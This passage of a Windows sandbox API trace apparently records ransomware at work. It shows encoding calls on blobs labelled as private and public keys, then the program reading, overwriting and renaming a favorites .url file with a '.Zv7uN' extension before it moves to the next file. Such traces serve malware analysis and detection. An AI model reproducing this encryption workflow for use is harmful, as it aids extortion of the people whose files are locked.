pMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.045] GetCurrentThreadId () returned 0xa30 [0126.045] GetCurrentThreadId () returned 0xa30 [0126.045] GetCurrentThreadId () returned 0xa30 [0126.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.046] GetCurrentThreadId () returned 0xa30 [0126.046] GetCurrentThreadId () returned 0xa30 [0126.046] GetCurrentThreadId () returned 0xa30 [0126.046] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.046] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.046] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.046] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.046] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.047] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.049] CloseHandle (hObject=0x1e8) returned 1 [0126.049] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.051] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.054] CloseHandle (hObject=0x1e8) returned 1 [0126.054] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.zv7un")) returned 1 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] GetCurrentThreadId () returned 0xa30 [0126.055] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0126.055] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.055] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.057] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0126.057] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x80) returned 1 [0126.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.060] GetCurrentThreadId () returned 0xa30 [0126.061] GetCurrentThreadId () returned 0xa30 [0126.061] GetCurrentThreadId () returned 0xa30 [0126.061] WideCharToMultiByte 